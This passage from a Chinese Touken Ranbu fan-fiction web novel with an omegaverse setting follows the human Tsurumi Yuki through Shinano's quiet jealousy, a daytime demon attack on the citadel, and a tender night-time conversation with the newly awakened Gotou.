信浓藤四郎在门口站了两秒,回头看鹤见悠纪的时脸上的笑还是那样,夜里的光却暗了一瞬,他没在等鹤见悠纪回答,一瞬之后他推门出去,脚步轻快,身影渐渐消失。 鹤见悠纪一撑手坐到一边的榻榻米上,他仰面躺着盯着天花板。 信浓藤四郎生气了,他后知后觉的想着,他肯定生气了。 可是他不说。 是的,以信浓藤四郎的性格他不会说的。 他会笑着把饭端回来,笑着问他合不合胃口,再笑着离开,然后等鹤见悠纪自己发现,或者永远都不知道。 鹤见悠纪闭了闭眼睛,一瞬间困意涌了上来,昨晚他睡得很浅,窗外最后又传来了打斗的声音,眼皮挣扎了许久还是没有睁开,但意识却逐渐清醒,身边药研藤四郎平稳的呼吸声一下又一下像是敲在他的心上。 他看不见对方此刻是侧躺着还是平躺着睡,眉头又是否有皱起,但过了许久,屋外的声音逐渐变小,鹤见悠纪还是再次睡着了。 等到早晨那个熟悉的时间,药研藤四郎轻手轻脚离开房间。 鹤见悠纪眼神复杂地睁开眼,同样轻手轻脚地爬起来,他刚穿好衣服,转头就看见看着信浓藤四郎动作轻巧的翻进屋来帮自己收拾东西,两个人的动作很轻,整个过程几乎没发出什么声响。 但是因为担心被药研藤四郎发现,绝大部分的事情还是信浓藤四郎在做。 鹤见悠纪站在门口,最后看了两眼这间卧室,然后轻轻把门拉上,木门碰撞的那一声极为轻巧,就像他从始至终的动作一样没有惊动药研藤四郎,极为平静。 走廊尽头站着信浓藤四郎,他倚着墙,已经在那里等了一会儿了。 信浓藤四郎看见鹤见悠纪出来,对于他多停留了一会儿的事什么也没问,反正时间是够的。 他只是走过来,接过鹤见悠纪自己手里拿着的衣服冲着他笑了笑,压低声音:“来,跟我走这边。” 有什么麻麻的感觉飘过来一瞬。 鹤见悠纪没来得及太多,只是跟在他身后,踩着晨光拂照的小路一路走到现在这间屋子里。 鹤见悠纪正困倦的想着,门口突然传来脚步声,是信浓藤四郎。 和曾经那个不太正常的他来送饭菜时的脚步声一模一样。 鹤见悠纪趁着坐起来,他揉了揉眼睛,努力让自己清醒一些。 信浓藤四郎端着托盘,笑着看他:“没有睡觉吗?睡一会也没关系的,我会把你叫醒的。” 他边说着边把托盘放在面前的小桌上,将动作一一在桌子上摆好。 鹤见悠纪微微摇了摇头,下床和他一起坐在桌子边,看着桌上的东西,他有些惊讶:“这是……” “肉……”信浓藤四郎简单说了说,低着头将餐具递给他,“来尝尝看,今天我用了新的做法哦。” 他的语气轻松,像在说一件无关紧要的事。 但是看得出来,今天的饭就连摆盘都变得有些精致。 平日里的饭菜虽然也很好,但也没有精致到这种地步,简直就像是在暗暗比较什么。 鹤见悠纪接过餐具,低下头看着那碗肉。 吃了一口,他还是开口道:“信浓。” “嗯?” “刚刚的事……” “什么事?”信浓藤四郎歪了歪头,“你是说叫错我名字的那件事吗?没事的,你没睡好,迷迷糊糊看错人很正常的,毕竟药研和你一起住了那么久。再说了你已经和我道过歉了,这件事就没事了。来,快吃吧。” 他说着主动将菜放进鹤见悠纪的碗里,动作自然的像是什么都没有发生,可鹤见悠纪清晰的看见他的手在轻微颤抖。 “……” 自己可是什么都还没说呀,信浓藤四郎一下就说出这么多话,和不打自招有什么区别? 鹤见悠纪放下餐具,抬起头看着他,对方还在笑,眉眼弯弯的,可那笑意却没达到眼底。 他的眼睛在看,他又好像没在看他,他在等什么,又像在躲什么。 “你果然还是生气了吧?” 信浓藤四郎愣了一下,然后笑起来,摆着手说:“我有什么好生气的,别多想了。” “虽然说不上来为什么,但是我能确定你,确实生气了。” 鹤见悠纪语气肯定。 信浓藤四郎的笑容僵在脸上,房间里顿时安静下来,只剩下窗外远远的从那飞来的鸟叫声。 这么破败的本丸里竟然还有鸟,实在是稀奇。 信浓藤四郎低下头,盯着眼前的味增汤,热气缓缓升起,模糊了他的面容。 “我真的没有生气,也没有难过。”他说着,声音却越来越轻。 “我只是有些不知道该怎么做。”他顿了顿,抬起眼睛看鹤见悠纪,目光落在少年的脸上了,还带着一点对方看不懂的东西。 鹤见悠纪眨了眨眼睛:“你想做什么?” “不知道你之前是和他怎样相处的,我不知道你的爱好,不知道你的习惯,”信浓藤四郎的声音越来越低,“但我也不知道怎样问,我怕我问了你就觉得我烦。” 有什么气息变得浓郁起来了。 鹤见悠纪眉间轻颤,他有些惊疑不定地看着眼前的alpha。 对方还在说:“可是我又真的好在意,我什么都不知道,又怎么才能照顾好你呢?” 信浓藤四郎低着头,指尖抓着桌子边,用力到发白,几乎要嵌进木头里。 “但是你把我认成他的时候,语气很平常,药研一定很了解你吧。”信浓藤四郎深吸一口气,“你们之间有什么东西是我插不进去的,就算就算是我帮助了你,但我的帮助万一是我的自厢情愿呢?” 他说完之后久久没有抬头,鹤见悠纪看着他的发顶,红色的头发软软的垂着,发尾还有点翘。 他想起早晨对方站在走廊尽头等自己的样子。 晨光把付丧神整个照得都很朦胧,他就那样安安静静的站着。 安安静静地等自己。 “信浓啊……”鹤见悠纪叹了口气,伸出手扶在他颤抖的手背上,信浓藤四郎颤抖了一下,抬起头看他,眼睛里有一点水,亮晶晶的。 味道更浓了,信息素无处不在。 “我和他是有点不一样,他是我来这里之后认识的第一个人,他帮我安排了房间,告诉我这里的状况……”他歪头,“我最开始的日子大部分是依靠他过过来的,我想我应该是依赖他的,但是依赖只是依赖而已。” “但是……” “我又不是依赖他,就不依赖你了。” 鹤见悠纪忍不住笑了出来,“我昨晚没睡好,今天困的要死。我和他毕竟一起住了那么久,你想啊,困的睁不开眼了,脑子都昏昏沉沉的,会不会下意识说平常说的话?” 信浓藤四郎眨了眨眼睛,那点水光慢慢退下去,虽然还是有点不舒服,但是鹤见悠纪愿意哄自己的动作已经让他心中那些别扭的情绪散去了太多。 “真的是这样吗?” “当然是这样,你很重要,对我来说很重要的。” 信浓藤四郎沉默着,像是在笑话这句话,然后他慢慢笑了起来,这回笑意到眼睛里了,弯弯的,也亮晶晶的。 “那下次不要再叫错了,好不好?” 信息素纠缠了上来。 “好啊。” 鹤见悠纪看着他,最后还是没忍住笑出声来。 易感期的alpha怎么那么像小朋友? 信浓藤四郎也笑了,笑着把他覆盖的那只手抽出来,反手握住鹤见悠纪的手,捏了捏。 “快吃饭吧,再不吃真的要凉了。” 鹤见悠纪也由着他。 “好。” 这顿饭吃的比预想中的慢,鹤见悠纪原本困倦的大脑都清醒了几分,两个人有一搭没一搭的聊着天,氛围轻快极了。 吃完饭,信浓藤四郎把碗筷收进托盘里,站起身要拿去洗。 “你睡会儿吧,昨晚没睡好,睡不够对身体不好的。” “我帮你吧……” “不用。”信浓藤四郎一只手将鹤见悠纪按在床上,“这件小事我一个人就可以搞定。” 鹤见悠纪看着他笑,付丧神的眼睛亮亮的,和早上顿在门口沉默的那个样子判若两人。 于是他收了手: “好。” 门被关上,鹤见悠纪盯着天花板,嘴角还翘着。 他闭上眼睛,听着窗外沙沙的风声,困意慢慢涌了上来,逐渐陷入睡梦中。 但不知道过了多久,门口再次被拉开了。 那人没有半分掩饰的,直直从门口走了进来在他床边坐下。 鹤见悠纪意志不是很清醒,但在这种状况下还是缓缓睁开眼,揉着眼睛坐了起来。 药研藤四郎坐在他的床边,身影依旧如往常一样挺直,但是他的脸色有些苍白,嘴唇也紧紧的抿着,看起来很不对劲。 “为什么要不告而别?” 他等鹤见悠纪清醒之后才问出声来。 药研藤四郎声音有点哑,像是憋了很久。 鹤见悠纪看着他,大脑还在迟钝地重启,没有说话。 “而且还换了地方,”药研藤四郎继续说,“你是不是讨厌我了?” 房间里只有他们两个人,鹤见悠纪整理好思绪之后,便开口道:“并没有。只是我很不安,药研。” 药研愣了一下。 “……我是omega你是alpha,是你最先告诉我们要保持距离,但是却没有做到。” 鹤见悠纪直视他的眼睛,他没有隐藏自己的踪迹,也知道药研藤四郎迟早会过来,他从始至终都只是想改变两个人一直贴在一起的状态罢了。 他继续说:“而且你总是让我觉得你不想让我回家。” 药研藤四郎表情变了,他原本紧绷的肩膀慢慢垮下来,抓着被角的手松了松又攥紧。 那点从开门开始带着的伤心和醋意好像被什么东西冲散了,只剩下一种小心翼翼又不知所措的情绪。 “你是因为这样才走的啊……” 他这样问着,声音轻得像是害怕惊扰到什么。 鹤见悠纪点了点头。 药研藤四郎低下头,他盯着榻榻米沉默了很久。 “我……”刚一开口还没说完,窗外的光线忽然暗了一瞬。 “——” 有什么东西撞破了窗户,木屑飞溅开来,一股阴暗的气息扑面而来。 药研藤四郎变色一凛,他单手抱着鹤见悠纪从房间内闯了出去。 然后全身骨刺的萦绕着黑气的怪物出现在鹤见悠纪的眼前,他还没有反应过来,这已经被付丧神带离了房间。 鹤见悠纪眼眶微微放大。 他看清了那东西的样子。 原本只会在夜晚出现的时间溯行军竟然在白日闯了进来! 药研藤四郎反应很快,他抓着鹤见悠纪向外闯出去的时候刀已出鞘,寒光一闪,离得最近的第一只敌人已经被他斩成两半。 可外面还有很多,鹤见悠纪看见黑压压的一片,那些不应该出现在这个时间的东西正源源不断的向这边涌来。 那间刚收拾好的屋子也在瞬间破碎。 药研藤四郎拍了拍他的肩膀,将刚刚顺手拿出来的外套披在鹤见悠纪的身上。 “别怕,”他说,“我在。” 鹤见悠纪心中稍显安定。 很快,听到动静的信浓藤四郎和厚藤四郎也冲了过来。 “你没事吧,x……?” 信浓藤四郎急急忙忙站定在鹤见悠纪的面前。 担心的话问出口,后面的名字却是空白。 鹤见悠纪缩了缩肩膀,看着身边围过来的奇形怪状的东西,迟疑地说:“应该……没事吧?” 厚藤四郎后来一步,他敏锐察觉到信浓藤四郎身上不正常的信息素,一伸手将鹤见悠纪从他拉了过来护在身后,警惕的看着信浓藤四郎。 信浓藤四郎怔愣一瞬,皱着眉不满地看他。 药研藤四郎正因为信浓藤四郎和鹤见悠纪出乎意料的亲近而意外。 ……前有狼,后有虎。 鹤见悠纪悄悄叹气。 真是糟糕—— 作者有话说:真是糟糕 第39章 但是鹤见悠纪来不及思考,阳光很快被遮住了,眼前变得一片昏暗,他勉强眯起眼睛才能看清个大概。 并不是云,而是时间溯行军。 那些东西从四面八方涌了进来,密密麻麻,似乎要将这座本丸都彻底占据。 不光是空荡荡的天空,甚至就连被泥土和石板覆盖的地面,竟然也出现了类似传送的黑色的涌动的圈圈。 立足之地更少了。 此刻四处弥漫着焦灼的气息,还混杂着那些黑漆漆全身骨刺身上的阴冷。 那群东西直直往他们的面上冲。 敌人离得极近,鹤见悠纪僵在原地,脑子里一片空白,身体像是被冻住了,也喊不出声音。 他没有心思再思考自己的小计谋被刀剑们发现的事情了。 有人拽了他一把。 “小心。” 是药研藤四郎,他把他按下去,与此同时寒光一闪,时间溯行军还没碰到他就被斩成两段,但是不仅一只,下一只已经扑上来,再下一只,再下一只…… “这边来。” 信浓藤四郎抓着鹤见悠纪的手,带着少年远离战斗中心,他手中同样握着短刀,刀身上还沾着黑色的液体。 身侧一只时间溯行军冲来攻击,他反手一刀削掉它的脑袋。 信浓藤四郎眯起眼睛,现在的情况看来,不论是躲到哪里还是谁护着鹤见悠纪都是不够的。 他们很快达成共识,三个人背对背把鹤见悠纪夹在中央。 “怎么会有这么多?” 厚藤四郎打着打着就皱起眉,无法理解。 “不知道。”药研藤四郎的声音也紧绷着。 这不是这个时间该出现的。 他们在这座本丸待了这么久,时间溯行军都一直只在晚上出差。 而现在一次性出现这么多,来不及多交流两句,下一波时间溯行军已经冲了上来。 刀光交错,三只时间溯行军同时被斩落,黑气遮住了视线,除了三把短刀,鹤见悠纪已经看不清任何东西了。 鹤见悠纪站在他们身边,似乎能听见自己的心咚咚咚咚一直跳个不停。 如此近距离的接触眼前的东西……果然还是太有挑战性了,他努力保持冷静,跟上大家的步伐。 但是他的身边就像被隔离开的真空带一样,三把刀一起足以让他周边清空,形成绝对防御。 “别害怕,”信浓藤四郎的声音从耳边传来,付丧神一边战斗一边侧眼看了鹤见悠纪一眼,安抚他,“我们在这呢。” 和药研藤四郎带着他从房间里逃出来时说的话一样,安心极了。 鹤见悠纪想要应答一声,可是喉咙像是被棉花堵住了,发不出声音,他只能拼命点头,一番动作下来刚刚因为恐惧而憋出的眼泪都快掉下来了。 但是现在绝对不能哭,自己要是哭了,他们会更慌乱的。 就算只是生理性的眼泪。 他无奈地撇过头,又猛的低下脑袋,不想去看那些奇怪的东西。 密密麻麻,实力不怎么样但是数量成千上万的时间溯行军几乎要占据每一个缝隙。 药研藤四郎的脊背紧绷着,明明刚刚还在闹别扭,现在却同样站在他的面前,带着无比可靠的气息。 “数量太多了,”付丧神的声音冷静,“信浓,你带着他往远离住宅的地方走,我先把这边处理一下。” 鹤见悠纪在这里,他们不能离开他的身边,但是一直保持防守的姿态的话,处理起来会有些麻烦。 鹤见悠纪只是一个普通人,他没有接受过时政的入职培训,他也不应该面对这些东西。 但现在既然出现这样的特殊情况,他们就要将他护得彻彻底底的才是。 “不行,不能这么做。” 信浓藤四郎环顾周边,虽然时间溯行军的力量在他们眼中不算什么,但是如此多的数量也算有些棘手。 他们几人一起尚且能算游刃有余,全部交给药研藤四郎一个人的话………… “听我的。”药研藤四郎没有给他反驳的机会。 信浓藤四郎还想张嘴说些什么,但是看着兄弟的表情就知道他心意已决。 咬了咬牙,抓住鹤见悠纪的胳膊带着他向一边跑去,厚藤四郎迅速靠了过来,两人护着他走。 鹤见悠纪踉跄一步,反应过来后迅速跟着他往外跑,脚下不知道踩到什么软绵绵的,低头一看,是一只斩落的时间溯行军还未完全化成黑气的尸体。 他瞳孔收缩,因为突如其来的恶心胃里在翻涌,厚藤四郎在另一边扶着才让他没有跌倒。 “别看。” 厚藤四郎也看到了那东西,付丧神的手指抚上他的后颈,两人独有的契约在跳跃,传来几分安心感。 手指摩挲,温暖的体温从敏感的部位传了过来。 鹤见悠纪记住了。 几人向外冲去,但是别处的景象更让他难受。 明亮宽敞的庭院里全是时间溯行军,形状扭曲,密密麻麻挤在一起,他的密集恐惧症都要犯了。 阳光挣扎着从缝隙中向下照下来,当彻底落下来时,也只剩下暗沉沉的阴影。 敌人太多了,他们被堵在了这里。 “快……”药研藤四郎从后面追了上来,他的刀尖上还往下滴着那些东西的残留物,付丧神喘着气,却仍旧身形挺直,“快往马厩那边走,那边建筑基本没有了,别把这边的房子都毁了……” 话还未说完,他突然顿住了。 “等一下……后藤。” 鹤见悠纪愣了一下,后藤藤四郎,是那个在白天他从未见过的付丧神。 他看着几人的神情,显然对方现在正处于一种无法反抗的状态,留那家伙一个人的话肯定是很危险,他们必须去救他。 “我去把他带过来,你们先去。” 药研藤四郎向一个方向看去。 “你一个人冲不过去,不要逞强。”信浓藤四郎一把抓住他,满脸不赞同。 厚藤四郎没有说话,在两人争执的片刻,他一个人扛起大梁。 “我去吧。”鹤见悠纪忽然听见了自己的声音,好像不是从自己的喉咙中发出来的。 很轻,很干涩,像是从什么地方艰难地挤出来的一样。 几人同时看向他,鹤见悠纪还在发抖,他的腿软,手心中也全是汗,心跳得像是要从嗓子眼蹦出来了。 可是他听见自己又再说了一遍。 “你们挡住他就好。是之前那个房间的刀架上面吗?我记得位置,我冲进去又冲出来。动作很快的。” 鹤见悠纪也看清了现在的状态。 三把刀才能制衡现在的场景,而他们要护着自己,又要去带走后藤藤四郎。 那现在最好的办法就是让被护住的自己去拿另一把刀。 药研藤四郎张嘴想要说些什么,一边的厚藤四郎先开口了:“行。” 药研藤四郎不同意地看他,厚藤四郎也不甘示弱:“让他去做吧,突然发生这样的状况他很难受……” 让恍惚的人在战斗中找一个心理的安慰也好。 药研藤四郎咬了咬牙,最终还是点了点头,他们四个人重新动了起来。 药研藤四郎在前,信浓藤四郎和厚藤四郎则负责处理突然从侧边冲上来的敌人,鹤见悠纪被夹在中间跟着跑,一路上全是时间溯行军。 药研藤四郎硬生生闯开一条路,耳边呼啸的声音从未停歇,鹤见悠纪能听见自己的呼吸声越来越重,越来越急,而后又缓慢的归于平静。 他们不能停下,不能停在这里。 鹤见悠纪抬起头,很快,他看见了熟悉的屋子,几人猛地撞开门,刀架倒在地上,上面的短刀落在一边,上面还泛着暗沉的光。 是后藤藤四郎。 只有本体在这里。 所以这家伙是只有晚上才会出现人形吗,难怪大家紧张到这种地步。 “我很快就好。” 鹤见悠纪找准机会瞬间冲了过去,过程中不知是因为腿软还是什么他踉跄了一下,但没有摔倒,他屏住呼吸,短短的距离,从未在此刻这样遥远。 他弯下腰,将那把刀捡起,刀的手感很冰,也很沉甸甸。 就在那一瞬间,头顶突然被冲破,伴随着建筑物的碎屑冲着鹤见悠纪的脑袋劈了下来,他僵住了,死亡逼近,还有那些尖锐的、要砸下来的东西。 但他不是一个人,刀光闪过,那只时间溯行军在他面前断层两半,化作黑烟飞散。 药研藤四郎站在他的身侧,刀还举在半空,他胸膛剧烈的起伏,眼中都还残留着隐藏的惊恐:“拿到了,我们走吧。” “好。” 鹤见悠纪点了点头,这么一会儿,他已经不会再腿软了。 把后藤藤四郎的本体抱在怀中,一起向另外两人那边拼命跑去。 成功汇合。 信浓藤四郎看了一眼他,抿唇:“走!” 鹤见悠纪不知道这一路上有多少时间溯行军,又有多少被身边的付丧神们斩杀,他只知道抱着后藤藤四郎,紧紧地抱着,然后跟着大家的脚步向空地方去。 身边信浓藤四郎呼吸突然变得沉重,动作也开始乱了,一个晃神还被时间溯行军擦过肩膀,肩膀处的衣服裂开,伤口里渗出几滴鲜血,就连脸上也上了几道伤痕。 鹤见悠纪看着他的状态,恍然记起来这家伙快易感期了。 他努力收敛信息素,免得让易感期还没爆发的alpha原地爆炸了。 真是时运不济,明明是需要被控制的特殊时期,却偏偏赶上了这突如其来的时间溯行军大爆发。 身边的另外两名alpha显然也已经发现了,可是没有任何人停下。 他们很快到达空旷地带,三把刀守在周围,鹤见悠纪站在中央,没了不时被破坏的房子冲来的碎屑的妨碍,他们更好发挥起来。 明明短刀更好发挥的是狭窄的巷道以及夜色笼罩的地方,但现在,那些无法支撑他们战斗又仅剩的可以居住的房子反倒成了阻碍。 鹤见悠纪抱着后藤藤四郎的本体,现在他已经将情况冷静了,环视周围,并且观察这些时间溯行军了。 眯起的眼睛看向天空传送的那些通道,已经有所缩小。 他松了口气,将这发现告诉大家。 幸好并非是真的无穷无尽,这是不知为何白日会冲过来。 很快,夕阳西下,天空变得灰蒙蒙的。 最后一缕阳光沉入地平线,天彻底黑了。 鹤见悠纪怀里突然一热,他低头看去,只见后藤藤四郎的本体微微发出光芒, 几缕樱花花瓣从耳边飘过。 他不明所以,也没有松手,下一秒光芒炸开,他被人抱住了。 “……这是哪?发生什么了,这是世界末日吗?”声音迷糊的付丧神已经握住了本体,另一只手却并未松开鹤见悠纪的腰。 他环顾四周,被怀中温度带着缓缓低头。 鹤见悠纪僵硬地抬头,和僵硬的后藤藤四郎对上视线。 这也太尴尬了。 “醒了就过来战斗。” 两人身后突然传来阴恻恻的声音。 后藤藤四郎瞬间像是被烫到一样跳开,他狼狈地移开视线—— 作者有话说: 第40章 后藤藤四郎脑海中刚刚omega柔软的身体还有香甜的气息挥之不去,他的视线不由得再次落回鹤见悠纪的身上,片刻又僵硬地看向激烈战斗的兄弟们。 视线停顿的瞬间和药研藤四郎的目光对上,他心虚一瞬,然后又稳定心神:“今天晚上怎么这么热闹?” 甚至还给他搬了个家。 “时间溯行军在白天出现了。” 厚藤四郎离得近,也就顺嘴回答了。 “那可真是不幸。” 后藤藤四郎看了看大家狼狈的样子,想来不仅仅是白天出现那么简单,他扭了扭手腕,迅速加入战斗,作为短刀他的动作轻盈又灵活。 他深吸一口气,把脑子里的战斗时不应该出现的东西统统排出去。 他明明拿着的是作为死物的刀剑,但冰冷的短刀在他手中却像活过来了一样,一刀一个,那些让人看着就恐怖震惊的时间溯行军在他的手中就像大白菜一样随手砍掉。 “比我想的能力要弱一些。”后藤藤四郎环顾四周和药研藤四郎背靠背,他的语气有些意外。 “是这样的,不怎么强,但是数量比较烦人。”药研藤四郎面无表情,回应他,“要不是发现它们的数量也有限的话,今晚上就别想休息了。” “嗯?谁发现的。”后藤藤四郎有些好奇,他手中未停,抽空回头看了一眼药研藤四郎。 “……”药研藤四郎张了张嘴,刚想说出鹤见悠纪的名字,又忽然反应过来他并不确定在这些家伙的面前鹤见悠纪是否透露过自己的真名。 后藤藤四郎从他的沉默里猜出几分理由,他回头看了一眼,努力像平常一样冲着鹤见悠纪轻轻笑了笑,但声音还是有些不太自然:“原来是你,真厉害,刚刚动作那么急,吓坏了吧?” 鹤见悠纪愣愣的看着他,说不出话。 其实他已经不害怕了,只不过是被一场大变活人吓了一跳,条件反射在颤抖而已,他走神没说话,后藤藤四郎以为他不想理自己,面色僵了僵,转回头就继续去打。 四把刀合力之后,敌人解决得很快,本就在不断减少数量,两个小时后被彻底斩落,化成黑烟消散。 院子里终于彻底安静下来了。 药研藤四郎将刀收回腰间,他拍了拍手,转身走回到鹤见悠纪面前。 他和鹤见悠纪平视,握着他的手认真左右看了看,有点担忧:“脸都白了,还是害怕吗?” 鹤见悠纪张了张嘴,没有开口说话,他不知道说什么,现在大家都有些疲惫的样子…… 可他总觉得这样的战斗对他们来说也只是小菜一碟。 药研藤四郎叹了口气,伸手把他揽进怀里,轻轻拍了拍后背,“没事了,已经没事了,全部都解决了。” 鹤见悠纪靠在他的肩上,闻到他身上熟悉的气息,一直紧绷着的身体也彻底的软了下来。 不害怕是不害怕了,但是一直处于战场上,鼻尖是从未停歇的血腥味,还有那些狰狞的怪物,也一直在冲击视觉不断挑战他的神经。 这时厚藤四郎和信浓藤四郎走了过来,站在旁边看着他们。 信浓藤四郎的脸色看起来不太好,易感期的出现让他整个人都紧绷着,就算最开始没有发现,一场战斗下来,他也察觉了自己的反常。 但是他看着鹤见悠纪的眼神里,依旧带着一点放松不下来的亲昵。 后藤藤四郎这时突然靠近拍了拍他的肩膀,他没收力,信浓藤四郎一个踉跄,还听人在自己耳边壮似没心没肺:“也是有骨气的,易感期还敢这么打。” 信浓藤四郎被他向后拉了拉和omega隔开,他皱了下眉不太开心,也就没有回话,只是依旧看着鹤见悠纪。 后藤藤四郎瞧他倔,顺着他的目光看了过来,好像明白了什么。 毕竟自己,也好像有点…… 不不不。 打住。 “行了。” 信浓藤四郎叹了口气,他这样说,然后揉了揉肩膀,“既然现在天黑着,接下来的收拾工作就全部交给我们,你们几个,一个易感期,还有两个受伤的都回去躺着吧,至于你……” 他看向鹤见悠纪也是口中语言顿住了,脸上显出几分纠结来。 药研藤四郎开口:“让他跟你一起吧,现在你的状态最好了。” 鹤见悠纪听言站起来,他的腿还有点无力,因为运动过后的酸软不由得踉跄了一步。 药研藤四郎扶着他,没有松开:“别急,慢慢来,再缓一缓也行。” 鹤见悠纪摇了摇头,主动向完好的建筑那边走去,后藤藤四郎没来得及思考,连忙跟上他的脚步。 三把刀还站在原地,看着两人的背影,月光从云层后面浅浅的透了出来,天空中的云已经逐渐散去了,圆润的月亮在此刻显得极为清晰。 月光从破了一片的窗户中露进来,坐在难得还算得上是完整的房间里,鹤见悠纪向外看去,战斗后的狼藉清晰的显露清晰,窗外那些破碎的建筑的痕迹,有些明显在战斗时留下的。 药研藤四郎休息了一会儿就开始收拾房间,还说什么“他们两个一个受伤一个易感期,干不了重活。我先来这边帮忙”,说这话的时候,眼神往鹤见悠纪这边飘了一下,但又很快收了回去,拽着后藤藤四郎在周边收拾起来。 没一会儿后藤藤四郎回家来了。 但是药研藤四郎还是不见身影,或许是走远了些去收拾了。毕竟本丸有五个人,只有一间房间是不够的。 后藤藤四郎没有,直接走进屋子,他站在院子里,配对着鹤见悠纪,月光落在他的背上,将他整个人勾出的轮廓。 鹤见悠纪坐在重新铺好的榻榻米上,抱着膝盖看着门外。 刚刚战斗的时候,他抱着后藤藤四郎的本体拼了命的跑,那时候也没想什么,只是想着既然是大家的兄弟,自然不能在这里毁掉,但是现在这家伙活生生站在鹤见悠纪的面前,然后他反而有点不知道该怎么面对他。 大概是被盯的久了,后藤藤四郎突然动了动,侧过头来:“……怎么了?” 他的声音有些僵,面色隐藏在阴影中看不清晰,但总归和之前战斗是过去的样子,不太一样。 鹤见悠纪愣了一下,说没什么,他哦了一声,又转回头去沉默,沉默逐渐蔓延开来,在空气中缓缓的流淌都显得困难。 有风吹过院子,吹过后藤藤四郎又吹过鹤见悠纪,带起一点点冰冷的气息。 后藤藤四郎站在那儿,鹤见悠纪坐在屋内,门没有关上,距离也极短,中间却像是隔着一条银河一样。 “那个……”×2 两个人同时开口,又同时停住,alpha转过头来,看着鹤见悠纪。这一次月光将他的脸照清晰了,付丧神的表情看起来有些古怪。 他抿着唇,眉头微微皱着,看起来像是在纠结什么,最后后藤藤四郎开口道:“你先说。” 鹤见悠纪张了张嘴,本来想说你不冷吗,可是话到嘴边又拐了个弯,变成:“你刚才战斗的时候很帅。” 后藤藤四郎愣了一下,然后又笑了一下,笑容不自然:“是吗?还行吧,刚刚稀里糊涂的,手也有点生。” 鹤见悠纪眨了眨眼睛,感觉没有几分距离感,胆子也就大了些:“你在本体的状态的时候能感受到外面吗?” 不然怎么会感觉稀里糊涂的呢? “能感受到一点点。”后藤藤四郎说,他偏过头去,“能感受到声音,有点还能感受到一点点……”他抿了抿唇,“一点点的温度。” 一句话,伴随着许多的停顿,看起来极为不正常。 alpha的动作顿了顿,目光在鹤见悠纪的身上,他好像是认定了什么,这一次的话,连贯又清晰:“你抱着我的时候,我能感受到你的体温,还有心脏的跳动。” 没料到他会这样说,鹤见悠纪愣住了。 这话好像打破了什么底线,后藤藤四郎如同被烫到一样猛地移开视线。 他转过头去,背对着少年,月光落在他的肩上,轻轻缓缓的洒落,这一次像个专门的探照灯,直直将他红了的耳尖清晰展示出来了。 鹤见悠纪觉得有些神奇。 他对这个不常见面的后藤藤四郎还是有些好奇的。 付丧神的声音又轻又僵,甚至还有些沉闷,被风清晰带了过来:“谢谢你,谢谢你保护我。” 鹤见悠纪好像看懂了什么,他张了张嘴,想说应该的,你没事就好,但觉得有些暧昧,便一个字也说不出来了。 风儿今晚格外的喧嚣,带着夜晚的凉意,他不由得缩了缩肩膀,把膝盖抱得更紧了些。 后藤藤四郎没有听到回应,又听见了动静,忐忑回过头来,就瞧见少年缩成一团的样子,不由得间间皱起了眉头:“冷?” 付丧神对温度的接受力比人类要高许多。 “有一点点。”其实刚刚冷风吹过的一瞬间,他的牙齿都要战栗了。 后藤藤四郎没有说话,他走过来,在鹤见悠纪上边坐下,然后他脱下了自己的外套,本来想顺手给人披上,然而下一秒又止住动作克制的收回手来,只做出了一个递出的动作。 他很有距离感,现在表现的像是个绅士,嘴上却直白的很:“穿上。” 鹤见悠纪低头看着他递过来的衣服,又抬头看他附上身穿着里面的单薄的衣裳,几乎能看清他肩膀紧绷的轮廓,还有紧紧的抿着的唇角。 将沾染着自己体温的衣服递给别人保暖,用这可不是什么有距离感的做法。 鹤见悠纪没有伸手,他问:“那你呢?” 他在关心他。 后藤藤四郎心忽然软了。 “我不冷的,我是刀剑,这点温度不算什么,”轻轻一击就交出了大招,“但是你不能感冒了,要是感冒了的话,我、我们都会心疼的。” 他的手固执的伸着,又固执的保持着这点距离。 鹤见悠纪没再推脱他,接过衣服披在身上,暖暖的还带着衣服,像是长久装在柜子里的棉被的味道,很干净却也很孤独。 鹤见悠纪有点想笑,怎么可能从衣服里感受到什么孤独的意味?自己真是想多了。 后藤藤四郎看着他披上自己的衣服,目光稍微停留了一会儿,然后又像是偷腥的猫一样迅速移开,落到旁边的空白处视线,没有聚焦,沉默又落了下来。 他们两个人待在一起好像很容易沉默。 明明后藤藤四郎刚刚在战场上不是这个样子。 后藤藤四郎没有站在门外呆呆地站着了,他坐在鹤见悠纪的旁边,两人的距离隔着半个手臂,不近,却也不远。 远处,隐隐约约传来药研藤四郎在收拾什么东西的声音,显得很不真实,过了一会儿后藤藤四郎突然动了一下, “饿吗?” “有一点点。”鹤见悠纪点头,摸了摸自己平坦的胃。 下午突然被打断睡觉,又跑了那么久,一直到晚上都精神紧绷着,他自然是饿的。 “那我去给你找点吃的。”后藤藤四郎说着就站了起来,鹤见悠纪突然拉出他的袖子,付丧神顿住,低头看向他,询问“怎么了?” “这么晚了,而且本丸被破坏成这个样子,你能去哪里找?” 后藤藤四郎一时没反应过来,他看着鹤见悠纪的脸思考了一会儿,然后慢慢的又坐了回来。 “那你渴吗?水应该是能找到的。” “不。” “累不累?要不要在这睡会儿?看着衣服的话,应该也不会太冷。不用太担心我。” “后藤。”鹤见悠纪打断了他。 后藤藤四郎闭嘴了。 鹤见悠纪叹了口气。 明明他都没有紧张,这家伙为什么突然擅自靠近,又擅自保持距离,又擅自紧张啊。 过了一会儿,他小声道:“抱歉。” 又在擅自道歉。 后藤藤四郎在鹤见悠纪的记忆中不是这么别扭的人,所以究竟是为什么? 为什么要这样做事情?为什么要露出这样的表情? 鹤见悠纪看着他,他看着地。 后藤藤四郎突然僵住了,不知道什么时候,鹤见悠纪已经抬起手覆在了对方的手背上。 鹤见悠纪的手心贴着他的手背,温度交错,一时间竟分不清谁是谁的。 鹤见悠纪突然靠近了一点:“因为是第一次独处吗?你不习惯和我待在一起。确实,我们两个人之间感情是陌生,彼此都不熟悉,感到紧张是正常的。” 少年的声音低落了下来:“但是大家都没有像你一样表现的这么明显的。” “我、我——”后藤藤四郎听见这话,瞬间急了,他转过头来,却瞧着原本在想象中一脸低落的少年嘴角勾起,眼中都带着星光。 两人离得极近,呼吸飘在付丧神的脸上,温热的却又带着一点点夜晚的凉意,还有omega甜蜜的气息也一起涌了过来。 好像在勾他。 “但即使这样的话,我也不会讨厌你的。” 其实这话说的很自作多情。 但是眼前的鹤见悠纪说出来的话,后藤藤四郎却生不出厌恶。 后藤藤四郎看着那双明显带着狡黠的眼睛,说不出话了。 少年也在看他,目光很深,很专注,像是想要将他这刻的诧异刻进眼里。 